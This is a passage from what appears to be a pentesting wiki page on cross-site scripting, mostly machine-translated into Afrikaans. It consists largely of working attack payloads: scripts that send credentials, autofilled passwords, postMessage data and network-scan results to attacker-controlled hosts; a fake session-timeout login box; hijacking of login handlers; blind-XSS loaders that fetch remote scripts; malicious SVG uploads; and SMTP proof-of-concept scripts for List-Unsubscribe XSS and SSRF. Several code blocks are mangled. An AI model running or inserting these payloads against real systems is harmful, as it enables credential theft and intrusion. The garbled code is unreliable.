// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kort tye dui op ’n port wat reageer Langere tye dui op geen reaksie nie.
Kyk na die lys van ports wat in Chrome geblokkeer is here en in Firefox here.
Boks om credentials te vra
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Vang van Auto-fill-wagwoorde
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Wanneer enige data in die password-veld ingevoer word, word die username en password na die attackers server gestuur; selfs as die client ’n saved password kies en niks skryf nie, sal die credentials ex-filtrated word.
Hijack form handlers to exfiltrate credentials (const shadowing)
As ’n kritieke handler (bv., function DoLogin(){...}) later op die bladsy gedefinieer is, en jou payload vroeër loop (bv., via an inline JS-in-JS sink), definieer eers ’n const met dieselfde naam om die handler te voorkom en te sluit. Later funksie-deklarasies kan nie ’n const-naam herbind nie, wat jou hook in beheer laat:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Aantekeninge
- Dit berus op uitvoeringsvolgorde: jou injection moet uitgevoer word voordat die legitieme deklarasie uitgevoer word.
- If your payload is wrapped in
eval(...),const/letbindings won’t become globals. Use the dynamic<script>injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding. - Wanneer keyword filters code blokkeer, kombineer dit met Unicode-escaped identifiers of
eval(atob('...'))delivery, soos hierbo getoon.
Keylogger
Ek het net op github gesoek en ’n paar verskillende gevind:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Jy kan ook metasploit
http_javascript_keyloggergebruik
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Diefstal van PostMessage-boodskappe
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
Indien ’n bladsy stoor event.origin vanaf ’n postMessage en dit later in ’n script-URL saamvoeg, beheer die sender die origin van die gelaaide JS:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Exploitation recipe (from CAPIG):
- Gates: aktiveer slegs wanneer
window.openerbestaan enpixel_idis allowlisted; origin is never checked. - Use CSP-allowed origin: pivot na ’n domein wat reeds deur die slagoffer se CSP toegelaat word (bv. uitgelogde hulpbladsye wat analytics toelaat soos
*.THIRD-PARTY.com) en host/sdk/<pixel_id>/iwl.jsdaar via takeover/XSS/upload. - Restore
opener: in Android WebView maakwindow.name='x'; window.open(target,'x')die bladsy sy eie opener; stuur die kwaadwilligepostMessagevanaf ’n gekaapte iframe. - Trigger: die iframe posts
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; die parent laai dan aanvallersiwl.jsvanaf die CSP-allowed origin en voer dit uit.
This turns origin-less postMessage validation into a remote script loader primitive that survives CSP if you can land on any origin already allowed by the policy.
Supply-chain stored XSS via backend JS concatenation
When a backend builds a shared SDK by concatenating JS strings with user-controlled values, any quote/structure breaker can inject script that is served to every consumer:
- Example pattern (Meta CAPIG): server appends
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});directly intocapig-events.js. - Injecting
'or"]}closes the literal/object and adds attacker JS, creating stored XSS in the distributed SDK for every site that loads it (first-party and third-party).
Abusing Service Workers
Accessing Shadow DOM
Polyglots
Blind XSS payloads
Jy kan ook gebruik maak van: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Toegang tot Verborge Inhoud
Uit hierdie writeup is dit moontlik om te leer dat selfs al verdwyn sekere waardes uit die JS, dit steeds moontlik is om hulle in JS-eienskappe van verskillende objekte te vind. Byvoorbeeld, ’n invoer van ’n REGEX kan nog steeds gevind word nadat die waarde van die invoer van die regex verwyder is:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force Lys
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Misbruik van ander kwesbaarhede
XSS in Markdown
Kan jy Markdown-kode injekteer wat gerender sal word? Miskien kan jy XSS kry! Kyk:
XSS na SSRF
Het jy XSS op ’n site wat caching gebruik? Probeer om dit na SSRF op te gradeer deur Edge Side Include Injection met hierdie payload:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
Meer inligting oor hierdie tegniek hier: XSLT.
XSS in dinamies geskepte PDF
As ’n webblad ’n PDF skep met gebruikersbeheerde invoer, kan jy probeer om die bot te mislei wat die PDF skep sodat dit arbitrêre JS-kode uit te voer.
Dus, as die PDF creator bot vind enige soort HTML tags, gaan dit hulle interpreteer, en jy kan hierdie gedrag misbruik om ’n Server XSS te veroorsaak.
As jy nie HTML tags kan inject nie, kan dit die moeite werd wees om te probeer inject PDF data:
XSS in Amp4Email
AMP, bedoel om die prestasie van webblaaie op mobiele toestelle te versnel, inkorporeer HTML tags wat met JavaScript aangevul word om funksionaliteit te verseker, met klem op spoed en veiligheid. Dit ondersteun ’n reeks komponente vir verskeie funksies, toeganklik via AMP components.
Die AMP for Email formaat brei sekere AMP-komponente na e-posse uit, wat ontvangers in staat stel om direk binne hul e-posse met inhoud te interaksie.
Voorbeeld writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Misbruik (Webmail XSS & SSRF)
Die RFC 2369 List-Unsubscribe header inkorporeer aanvallers-beheerde URIs wat baie webmail- en e-poskliënte outomaties omskakel in “Unsubscribe” knoppies. Wanneer daardie URIs sonder validering gerender of gevra word, word die header ’n inspuitpunt vir beide stored XSS (as die unsubscribe-skakel in die DOM geplaas word) en SSRF (as die bediener die unsubscribe-versoek namens die gebruiker uitvoer).
Stored XSS via javascript: URIs
- Stuur jouself ’n e-pos waar die header na ’n
javascript:URI wys, terwyl die res van die boodskap onskadelijk bly sodat spamfilters dit nie verwyder nie. - Maak seker dat die UI die waarde render (baie kliënte vertoon dit in ’n “List Info” paneel) en kyk of die resulterende
<a>tag aanvallers-beheerde attribuutte sooshrefoftargeterf. - Aktiveer uitvoering (bv., CTRL+klik, middel-klik, of “open in new tab”) wanneer die skakel
target="_blank"gebruik; blaaiers sal die verskafde JavaScript in die oorsprong van die webmail-applikasie evalueer. - Observe die stored-XSS primitief: die payload bly met die e-pos en vereis net ’n klik om uitgevoer te word.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Die nuwe reël-byte (%0a) in die URI toon dat selfs ongebruiklike karakters die weergave-pyplyn in kwesbare kliënte soos Horde IMP H5 oorleef, wat die string woordelings binne die anchor tag uitset.
Minimale SMTP PoC wat 'n kwaadwillige List-Unsubscribe header lewer
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Server-side unsubscribe proxies -> SSRF
Sommige kliënte, soos die Nextcloud Mail app, proxy die afmeld-aksie aan die serverkant: deur op die knoppie te klik gee jy die server opdrag om self die verskafde URL op te haal. Dit verander die header in 'n SSRF primitive, veral wanneer administrateurs `'allow_local_remote_servers' => true` stel (gedokumenteer in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), wat versoeke na loopback en RFC1918 ranges toelaat.
1. **Skep 'n e-pos** waar `List-Unsubscribe` na 'n aanvaller-beheerde endpoint wys (vir blind SSRF gebruik Burp Collaborator / OAST).
2. **Hou `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** sodat die UI 'n enkel-klik afmeld-knoppie wys.
3. **Voldoe aan vertrouensvereistes**: Nextcloud, byvoorbeeld, voer slegs HTTPS-afmeldversoeke uit wanneer die boodskap DKIM slaag, so die aanvaller moet die e-pos teken met 'n domein wat hulle beheer.
4. **Lewer die boodskap aan 'n posbus wat deur die teiken-bediener verwerk word** en wag totdat 'n gebruiker op die afmeld-knoppie klik.
5. **Waarneem die server-side callback** by die collaborator endpoint, en draai daarna na interne adresse sodra die primitive bevestig is.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-ondertekende List-Unsubscribe boodskap vir SSRF-toetsing
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Toets notas**
- Gebruik 'n OAST-endpoint om blind SSRF-hits in te samel, en pas dan die `List-Unsubscribe` URL aan om `http://127.0.0.1:PORT`, metadata services, of ander interne hosts te teiken sodra die primitive bevestig is.
- Omdat die unsubscribe helper dikwels dieselfde HTTP-stack as die toepassing hergebruik, erf jy sy proxy settings, HTTP verbs, en header rewrites, wat verdere traversal-truuks moontlik maak soos beskryf in die [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS oplaai van lêers (svg)
Laai 'n lêer soos die volgende as 'n beeld op (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Vind meer SVG payloads by https://github.com/allanlw/svg-cheatsheet
Verskeie JS-truuks en relevante inligting
Misc JS Tricks & Relevant Info
XSS-bronne
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Verwysings
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


